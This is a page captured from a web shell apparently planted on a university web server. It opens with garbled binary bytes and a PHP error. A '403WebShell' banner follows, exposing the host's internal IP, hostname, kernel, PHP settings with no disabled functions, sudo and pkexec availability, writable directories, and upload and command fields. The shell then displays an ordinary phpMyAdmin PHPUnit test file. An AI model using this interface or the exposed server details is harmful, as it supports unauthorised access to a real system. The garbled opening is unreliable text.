h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/phpMyAdmin/test/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/phpMyAdmin/test/libraries/PMA_ConfigGenerator_test.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * tests for methods under Config file generator
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test
 */
require_once 'setup/lib/ConfigGenerator.class.php';
require_once 'libraries/config/ConfigFile.class.php';
require_once 'libraries/core.lib.php';
require_once 'libraries/Util.class.php';
require_once 'libraries/php-gettext/gettext.inc';

/**
 * tests for methods under Config file generator
 *
 * @package PhpMyAdmin-test
 */
class PMA_ConfigGenerator_Test extends PHPUnit_Framework_TestCase
{

    /**
     * Test for ConfigGenerator::getConfigFile
     *
     * @return void
     * @group medium
     */
    public function testGetConfigFile()
    {
        $GLOBALS['cfg']['AvailableCharsets'] = array();
        unset($_SESSION['eol']);

        $GLOBALS['PMA_Config'] = new PMA_Config();

        $GLOBALS['server'] = 0;
        $cf = new ConfigFile();
        $_SESSION['ConfigFile0'] = array('a', 'b', 'c');
        $_SESSION['ConfigFile0']['Servers'] = array(
            array(1, 2, 3)
        );

        $cf->setPersistKeys(array("1/", 2));

        /* TODO: This is sometimes one second off... */
        $date = date(DATE_RFC1123);
        $result = ConfigGenerator::getConfigFile($cf);

        $this->assertContains(
            "<?php\n" .
            "/*\n" .
            " * Generated configuration file\n" .
            " * Generated by: phpMyAdmin " .
            $GLOBALS['PMA_Config']->get('PMA_VERSION') . " setup script\n" .
            " * Date: " . $date . "\n" .
            " */\n\n",
            $result
        );

        $this->assertContains(
            "/* Servers configuration */\n" .
            '$i = 0;' . "\n\n" .
            "/* Server: localhost [0] */\n" .
            '$i++;' . "\n" .
            '$cfg[\'Servers\'][$i][\'0\'] = 1;' . "\n" .
            '$cfg[\'Servers\'][$i][\'1\'] = 2;' . "\n" .
            '$cfg[\'Servers\'][$i][\'2\'] = 3;' . "\n\n" .
            "/* End of servers configuration */\n\n",
            $result
        );

        $this->assertContains(
            '?>',
            $result
        );
    }

    /**
     * Test for ConfigGenerator::_getVarExport
     *
     * @return void
     */
    public function testGetVarExport()
    {
        $reflection = new \ReflectionClass('ConfigGenerator');
        $method = $reflection->getMethod('_getVarExport');
        $method->setAccessible(true);

        $this->assertEquals(
            '$cfg[\'var_name\'] = 1;' . "\n",
            $method->invoke(null, 'var_name', 1, "\n")
        );

        $this->assertEquals(
            '$cfg[\'var_name\'] = array (' .
            "\n);\n",
            $method->invoke(null, 'var_name', array(), "\n")
        );

        $this->assertEquals(
            '$cfg[\'var_name\'] = array(1, 2, 3);' . "\n",
            $method->invoke(
                null,
                'var_name',
                array(1, 2, 3),
                "\n"
            )
        );

        $this->assertEquals(
            '$cfg[\'var_name\'][\'1a\'] = \'foo\';' . "\n" .
            '$cfg[\'var_name\'][\'b\'] = \'bar\';' . "\n",
            $method->invoke(
                null,
                'var_name',
                array(
                    '1a' => 'foo',
                    'b' => 'bar'
                ),
                "\n"
            )
        );
    }

    /**
     * Test for ConfigGenerator::_isZeroBasedArray
     *
     * @return void
     */
    public function testIsZeroBasedArray()
    {
        $reflection = new \ReflectionClass('ConfigGenerator');
        $method = $reflection->getMethod('_isZeroBasedArray');
        $method->setAccessible(true);

        $this->assertFalse(
            $method->invoke(
                null,
                array(
                    'a' => 1,
                    'b' => 2
                )
            )
        );

        $this->assertFalse(
            $method->invoke(
                null,
                array(
                    0 => 1,
                    1 => 2,
                    3 => 3,
                )
            )
        );

        $this->assertTrue(
            $method->invoke(
                null,
                array()
            )
        );

        $this->assertTrue(
            $method->invoke(
                null,
                array(1, 2, 3)
            )
        );
    }

    /**
     * Test for ConfigGenerator::_exportZeroBasedArray
     *
     * @return void
     */
    public function testExportZeroBasedArray()
    {
        $reflection = new \ReflectionClass('ConfigGenerator');
        $method = $reflection->getMethod('_exportZeroBasedArray');
        $method->setAccessible(true);

        $arr = array(1, 2, 3, 4);

        $result = $method->invoke(null, $arr, "\n");

        $this->assertEquals(
            'array(1, 2, 3, 4)',
            $result
        );

        $arr = array(1, 2, 3, 4, 7, 'foo');

        $result = $method->invoke(null, $arr, "\n");

        $this->assertEquals(
            'array(' . "\n" .
            '    1,' . "\n" .
            '    2,' . "\n" .
            '    3,' . "\n" .
            '    4,' . "\n" .
            '    7,' . "\n" .
            '    \'foo\')',
            $result
        );
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit